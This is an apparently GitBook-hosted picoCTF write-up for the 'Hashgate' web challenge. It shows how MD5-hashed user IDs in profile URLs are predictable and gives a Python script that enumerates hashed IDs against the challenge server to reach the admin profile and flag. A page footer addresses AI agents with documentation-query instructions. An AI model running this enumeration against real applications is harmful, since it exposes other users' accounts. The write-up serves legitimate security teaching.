> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/hashgate.md).

# Hashgate

After logging into the application using the guest credentials found in the page source, we are redirected to a profile page. The URL looks like this:

```id="u4k2sd"
/profile/user/e93028bdc1aacdfb3687181f2031765d
```

The value at the end is a 32-character string, which strongly suggests an MD5 hash. This indicates that instead of exposing raw user IDs, the application uses a hashed version of the ID.

To verify this, we generate an MD5 hash of a number in Python:

```id="q1z9la"
import hashlib
print(hashlib.md5(b"3000").hexdigest())
```

The output matches the value in the URL, confirming that the application uses `md5(user_id)` to reference profiles. This means the system is vulnerable to an IDOR (Insecure Direct Object Reference), because even though the IDs are hashed, they are still predictable.

Since the hint mentions there are about 20 employees, we can assume that valid user IDs are close to each other. So instead of guessing randomly, we brute-force a small range of IDs, hash them, and request each profile.

We write a simple script to automate this:

```id="v7nx3p"
import hashlib
import requests

base = "http://crystal-peak.picoctf.net:63208/profile/user/"

for i in range(2998, 3021):
    h = hashlib.md5(str(i).encode()).hexdigest()
    url = base + h
    
    r = requests.get(url)

    if "admin" in r.text.lower() or "picoctf" in r.text.lower():
        print("FOUND:", i, url)
        print(r.text)
        break
```

The script iterates through possible user IDs, converts each one into its MD5 hash, and requests the corresponding profile page. When it encounters a response containing “admin” or the flag format, it prints the result.

After running the script, we get:

```id="c8m2xr"
FOUND: 3012 http://crystal-peak.picoctf.net:63208/profile/user/5a01f0597ac4bdf35c24846734ee9a76
Welcome, admin! Here is the flag: picoCTF{id0r_unl0ck_8b02a9fd}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/hashgate.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.